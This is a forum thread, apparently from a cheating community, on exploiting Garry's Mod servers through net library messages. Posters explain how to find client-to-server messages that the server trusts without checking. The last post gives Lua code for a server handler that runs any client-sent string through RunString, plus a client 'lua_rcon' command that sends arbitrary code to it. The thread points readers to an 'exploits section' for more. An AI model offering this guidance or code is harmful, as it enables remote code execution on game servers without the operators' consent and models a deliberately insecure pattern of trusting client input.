SolvedNet Library Exploiting

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Net Library Exploiting
Hi, I recently came across a method to find pretty much all net.send and net.receive functions on a server, though I don't really know how to identify exploitable ones/how to exploit them, for example

00411: util.AddNetworkString( "egg" )
00488: net.Receive( "egg", function( len, ply )
00535: net.Start( "egg" )
00536: net.SendToServer()
*
or

00214: util.AddNetworkString( "SendFile" )
00218: net.Start( "SendFile" )
00219: net.WriteString( fileToSend )
00220: net.Send( target_plys[ i ] )
00254: net.Receive( "SendFile", function()
00255: local runFile = net.ReadString()
I'm not 100% sure but this is what I know.

Code:
00214: util.AddNetworkString( "SendFile" )
00218: net.Start( "SendFile" )
00219: net.WriteString( fileToSend )
00220: net.Send( target_plys[ i ] )
00254: net.Receive( "SendFile", function()
00255: local runFile = net.ReadString()
Server side. Forget it.

00220: net.Send( target_plys[ i ] ) <---- That's sent to a player, not server. Only the server can send to players? I've never tried to though but I assume you can't.



Just look in the exploits section and learn how people make them. You'll get the hang of it quickly.
It isn't server sided though
When people use net.send basically means that they trust what the client sends (You can also spoof what you net.recieve)
If the server trusts the client (And doesnt check) it lets you exploit, and very few servers will check, Although the ability to read shared and clientside lua scripts is needed
Quote Originally Posted by luismc10 View Post
It isn't server sided though
When people use net.send basically means that they trust what the client sends (You can also spoof what you net.recieve)
If the server trusts the client (And doesnt check) it lets you exploit, and very few servers will check, Although the ability to read shared and clientside lua scripts is needed
What ShitFucks is saying is that net.Send( ply ) is a server side function, just search for net.SendToServer, thats what the client is sending.
If you have the client side net.Start and server side net.Recieve, first check the layout on what you have to send, then you check what the server does with it(if u dont have server side just guess) then you create an exploit that sends it here is example code that is really stupid if it was real
Code:
--Serverside
util.AddNetworkString( "bonk" )
net.Recieve( "bonk", function( len, ply )
RunString(net.ReadString())
end )

--ClientSide
function Reload()
net.Start("bonk")
net.WriteString("lua_reloadents")
net.SendToServer()
end
This code would let you easily make a custom rcon command like this
Code:
function luaRcon(ply,cmd,args)
net.Start("bonk")
net.WriteString(args[1])
net.SendToServer()
end
concommand.Add("lua_rcon",luaRcon)
Posts 1–4 of 4 · Page 1 of 1
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